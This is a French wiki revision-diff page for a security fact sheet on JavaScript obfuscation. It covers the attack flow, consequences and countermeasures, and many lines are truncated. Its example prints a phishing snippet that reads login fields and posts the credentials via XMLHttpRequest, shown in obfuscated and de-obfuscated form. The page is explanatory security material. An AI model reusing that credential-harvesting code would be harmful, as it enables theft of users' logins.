cyber:vulnerabilite:javascript_obfuscation
Différences
Ci-dessous, les différences entre deux révisions de la page.
| cyber:vulnerabilite:javascript_obfuscation [2025/07/29 14:24] – créée admin | cyber:vulnerabilite:javascript_obfuscation [2025/07/29 14:30] (Version actuelle) – admin | ||
|---|---|---|---|
| Ligne 1: | Ligne 1: | ||
| ====== Javascript - Obfuscation ====== | ====== Javascript - Obfuscation ====== | ||
| + | ===== Description ===== | ||
| + | **L' | ||
| + | |||
| + | Il existe plusieurs méthodes d' | ||
| + | |||
| + | ===== Pré-requis d' | ||
| + | |||
| + | Pour exploiter cette vulnérabilité, | ||
| + | |||
| + | ==== Connaissances nécessaires ==== | ||
| + | * Connaissances de base du langage JavaScript ; | ||
| + | * Maîtriser les différentes méthodes d' | ||
| + | |||
| + | ==== Outils nécessaires ==== | ||
| + | * Avoir accès à une console de navigateur (Firefox, Chrome) ; | ||
| + | * Outil d' | ||
| + | |||
| + | ===== Flux d' | ||
| + | ==== Explorer ==== | ||
| + | |||
| + | Naviguer sur l’application afin d’identifier le ou les scripts JavaScript qui sont potentiellement obfusqués et analyser les fonctions qui génèrent l' | ||
| + | |||
| + | ==== Expérimenter ==== | ||
| + | |||
| + | Tester les différentes méthodes d' | ||
| + | |||
| + | ==== Exploiter ==== | ||
| + | |||
| + | ===== Conséquences potentielles ===== | ||
| + | |||
| + | Une exploitation réussie de ce type de vulnérabilité peut permettre : | ||
| + | * De retrouver des informations sensibles telles que des identifiants de connexion ; | ||
| + | * L’accès à des fonctionnalités sensibles. | ||
| + | |||
| + | ===== Contre-mesures ===== | ||
| + | |||
| + | Les contre-mesures suivantes peuvent être mises en œuvre : | ||
| + | * Appliquer des contrôles de qualité de code pour détecter et corriger les vulnérabilités cachées par l' | ||
| + | * Utiliser des techniques de protection de code plus efficaces, comme le chiffrement de code ou la compilation de code ; | ||
| + | * Former les développeurs à la sécurité informatique et à l' | ||
| + | * Éviter d' | ||
| + | |||
| + | ====== Comment cela fonctionne ====== | ||
| + | Les scénarios suivants peuvent être joués via l’exploitation de cette vulnérabilité : | ||
| + | * Retrouver des traces d' | ||
| + | * Retrouver des informations sensibles, comme des clés API ou des mots de passe. | ||
| + | |||
| + | ===== Exemple 1 ===== | ||
| + | |||
| + | Voici un exemple de code JavaScript contenant un script de phishing obfusqué utilisant la méthode de renommage de variables : | ||
| + | |||
| + | <code Javascript> | ||
| + | function _0x1234() { | ||
| + | let _0x5678 = document.getElementById(" | ||
| + | let _0x9abc = document.getElementById(" | ||
| + | let _0xdef0 = { | ||
| + | username: _0x5678, | ||
| + | password: _0x9abc | ||
| + | }; | ||
| + | let _0x4567 = new XMLHttpRequest(); | ||
| + | _0x4567.open(" | ||
| + | _0x4567 | ||
| + | </ | ||
| + | |||
| + | Voici ce même code JavaScript après dé-obfuscation : | ||
| + | |||
| + | <code Javascript> | ||
| + | function sendCredentials() { | ||
| + | let username = document.getElementById(" | ||
| + | let password = document.getElementById(" | ||
| + | let data = { | ||
| + | username: username, | ||
| + | password: password | ||
| + | }; | ||
| + | let xhr = new XMLHttpRequest(); | ||
| + | xhr.open(" | ||
| + | xhr.setRequestHeader(" | ||
| + | xhr.send(JSON.stringify(data)); | ||
| + | } | ||
| + | </ | ||
| + | |||
| + | ====== Références ====== | ||
| + | URL : | ||
| + | * https:// | ||
| + | * https:// | ||
| + | * https:// | ||
| + | ====== Retour fiches vulnérabilités ====== | ||
| + | * [[cyber: | ||
| + | |||
| + | |||
| + | |||
| + | |||
cyber/vulnerabilite/javascript_obfuscation.1753791887.txt.gz · Dernière modification : 2025/07/29 14:24 de admin
